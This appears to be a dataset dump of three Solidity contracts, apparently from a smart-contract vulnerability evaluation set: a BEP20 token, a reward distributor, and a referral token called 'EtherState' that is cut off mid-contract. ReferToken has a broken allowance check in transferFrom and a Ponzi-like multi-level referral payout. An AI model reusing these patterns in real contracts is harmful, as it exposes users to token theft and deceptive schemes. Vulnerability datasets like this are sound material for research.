hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
326fe428d0e290ed3a847bee683368aeb57149b711c32fccfe852a4499bd9643
| 31,223 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/2d/2da01b5d07b03d6cd104240d892ad1cd955390a7_WokToken.sol
| 3,392 | 13,460 |
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private MAXCAP;
uint256 constant MAXCAPSUPPLY = 100000 * (10 ** 18);
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function maxSupply() public pure returns (uint256) {
return MAXCAPSUPPLY;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
require(MAXCAP.add(amount) <= MAXCAPSUPPLY, "Max supply reached");
_totalSupply = _totalSupply.add(amount);
MAXCAP = MAXCAP.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
MAXCAP = MAXCAP.sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
}
// WokToken.
contract WokToken is BEP20('Wok Finance Token', 'WOK') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
}
| 326,377 | 700 |
cc3a038d5f7e865838d22f73a3ddfdb716a711d6f157b536acb4995301b446cd
| 18,018 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/b9/b924a2841615a20b32e694228e7541418fe20637_Distributor.sol
| 3,975 | 15,707 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable MYTC;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _MYTC, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_MYTC != address(0));
MYTC = _MYTC;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(MYTC).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 71,954 | 701 |
acab50795617e938c55c15e3e6d76dd56b50ed263b2792d3453cf5bac7e0a3e4
| 14,029 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xdf8ee682d538d9a6f8d8e97fe7635baa5c27b63d.sol
| 3,581 | 13,367 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
}
contract ReferTokenERC20Basic is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) rewardBalances;
mapping(address => mapping(address => uint256)) allow;
function _transfer(address _from, address _to, uint256 _value) private returns (bool) {
require(_to != address(0));
require(_value <= rewardBalances[_from]);
// SafeMath.sub will throw an error if there is not enough balance.
rewardBalances[_from] = rewardBalances[_from].sub(_value);
rewardBalances[_to] = rewardBalances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
return _transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return rewardBalances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_from != msg.sender);
require(allow[_from][msg.sender] > _value || allow[msg.sender][_to] == _value);
success = _transfer(_from, _to, _value);
if (success) {
allow[_from][msg.sender] = allow[_from][msg.sender].sub(_value);
}
return success;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allow[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allow[_owner][_spender];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract PackageContract is ReferTokenERC20Basic, MintableToken {
uint constant daysPerMonth = 30;
mapping(uint => mapping(string => uint256)) internal packageType;
struct Package {
uint256 since;
uint256 tokenValue;
uint256 kindOf;
}
mapping(address => Package) internal userPackages;
function PackageContract() public {
packageType[2]['fee'] = 30;
packageType[2]['reward'] = 20;
packageType[4]['fee'] = 35;
packageType[4]['reward'] = 25;
}
function depositMint(address _to, uint256 _amount, uint _kindOfPackage) canMint internal returns (bool) {
return depositMintSince(_to, _amount, _kindOfPackage, now);
}
function depositMintSince(address _to, uint256 _amount, uint _kindOfPackage, uint since) canMint internal returns (bool) {
totalSupply = totalSupply.add(_amount);
Package memory pac;
pac = Package({since : since, tokenValue : _amount, kindOf : _kindOfPackage});
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
userPackages[_to] = pac;
return true;
}
function depositBalanceOf(address _owner) public view returns (uint256 balance) {
return userPackages[_owner].tokenValue;
}
function getKindOfPackage(address _owner) public view returns (uint256) {
return userPackages[_owner].kindOf;
}
}
contract ColdWalletToken is PackageContract {
address internal coldWalletAddress;
uint internal percentageCW = 30;
event CWStorageTransferred(address indexed previousCWAddress, address indexed newCWAddress);
event CWPercentageChanged(uint previousPCW, uint newPCW);
function setColdWalletAddress(address _newCWAddress) onlyOwner public {
require(_newCWAddress != coldWalletAddress && _newCWAddress != address(0));
CWStorageTransferred(coldWalletAddress, _newCWAddress);
coldWalletAddress = _newCWAddress;
}
function getColdWalletAddress() onlyOwner public view returns (address) {
return coldWalletAddress;
}
function setPercentageCW(uint _newPCW) onlyOwner public {
require(_newPCW != percentageCW && _newPCW < 100);
CWPercentageChanged(percentageCW, _newPCW);
percentageCW = _newPCW;
}
function getPercentageCW() onlyOwner public view returns (uint) {
return percentageCW;
}
function saveToCW() onlyOwner public {
coldWalletAddress.transfer(this.balance.mul(percentageCW).div(100));
}
}
contract StatusContract is Ownable {
mapping(uint => mapping(string => uint[])) internal statusRewardsMap;
mapping(address => uint) internal statuses;
event StatusChanged(address participant, uint newStatus);
function StatusContract() public {
statusRewardsMap[1]['deposit'] = [3, 2, 1];
statusRewardsMap[1]['refReward'] = [3, 1, 1];
statusRewardsMap[2]['deposit'] = [7, 3, 1];
statusRewardsMap[2]['refReward'] = [5, 3, 1];
statusRewardsMap[3]['deposit'] = [10, 3, 1, 1, 1];
statusRewardsMap[3]['refReward'] = [7, 3, 3, 1, 1];
statusRewardsMap[4]['deposit'] = [10, 5, 3, 3, 1];
statusRewardsMap[4]['refReward'] = [10, 5, 3, 3, 3];
statusRewardsMap[5]['deposit'] = [12, 5, 3, 3, 3];
statusRewardsMap[5]['refReward'] = [10, 7, 5, 3, 3];
}
function getStatusOf(address participant) public view returns (uint) {
return statuses[participant];
}
function setStatus(address participant, uint8 status) public onlyOwner returns (bool) {
return setStatusInternal(participant, status);
}
function setStatusInternal(address participant, uint8 status) internal returns (bool) {
require(statuses[participant] != status && status > 0 && status <= 5);
statuses[participant] = status;
StatusChanged(participant, status);
return true;
}
}
contract ReferTreeContract is Ownable {
mapping(address => address) public referTree;
event TreeStructChanged(address sender, address parentSender);
function checkTreeStructure(address sender, address parentSender) onlyOwner public {
setTreeStructure(sender, parentSender);
}
function setTreeStructure(address sender, address parentSender) internal {
require(referTree[sender] == 0x0);
require(sender != parentSender);
referTree[sender] = parentSender;
TreeStructChanged(sender, parentSender);
}
}
contract ReferToken is ColdWalletToken, StatusContract, ReferTreeContract {
string public constant name = "EtherState";
string public constant symbol = "ETHS";
uint256 public constant decimals = 18;
uint256 public totalSupply = 0;
uint256 public constant hardCap = 10000000 * 1 ether;
mapping(address => uint256) private lastPayoutAddress;
uint private rate = 100;
uint public constant depth = 5;
event RateChanged(uint previousRate, uint newRate);
event DataReceived(bytes data);
event RefererAddressReceived(address referer);
function depositMintAndPay(address _to, uint256 _amount, uint _kindOfPackage) canMint private returns (bool) {
require(userPackages[_to].since == 0);
_amount = _amount.mul(rate);
if (depositMint(_to, _amount, _kindOfPackage)) {
payToReferer(_to, _amount, 'deposit');
lastPayoutAddress[_to] = now;
}
}
function rewardMint(address _to, uint256 _amount) private returns (bool) {
rewardBalances[_to] = rewardBalances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function payToReferer(address sender, uint256 _amount, string _key) private {
address currentReferral = sender;
uint currentStatus = 0;
uint256 refValue = 0;
for (uint level = 0; level < depth; ++level) {
currentReferral = referTree[currentReferral];
if (currentReferral == 0x0) {
break;
}
currentStatus = statuses[currentReferral];
if (currentStatus < 3 && level >= 3) {
continue;
}
refValue = _amount.mul(statusRewardsMap[currentStatus][_key][level]).div(100);
rewardMint(currentReferral, refValue);
}
}
function AddressDailyReward(address rewarded) public {
require(lastPayoutAddress[rewarded] != 0 && (now - lastPayoutAddress[rewarded]).div(1 days) > 0);
uint256 n = (now - lastPayoutAddress[rewarded]).div(1 days);
uint256 refValue = 0;
if (userPackages[rewarded].kindOf != 0) {
refValue = userPackages[rewarded].tokenValue.mul(n).mul(packageType[userPackages[rewarded].kindOf]['reward']).div(30).div(100);
rewardMint(rewarded, refValue);
payToReferer(rewarded, userPackages[rewarded].tokenValue, 'refReward');
}
if (n > 0) {
lastPayoutAddress[rewarded] = now;
}
}
function() external payable {
require(totalSupply < hardCap);
coldWalletAddress.transfer(msg.value.mul(percentageCW).div(100));
bytes memory data = bytes(msg.data);
DataReceived(data);
address referer = getRefererAddress(data);
RefererAddressReceived(referer);
setTreeStructure(msg.sender, referer);
setStatusInternal(msg.sender, 1);
uint8 kind = getReferralPackageKind(data);
depositMintAndPay(msg.sender, msg.value, kind);
}
function getRefererAddress(bytes data) private pure returns (address) {
if (data.length == 1 || data.length == 0) {
return address(0);
}
uint256 referer_address;
uint256 factor = 1;
for (uint i = 20; i > 0; i--) {
referer_address += uint8(data[i - 1]) * factor;
factor = factor * 256;
}
return address(referer_address);
}
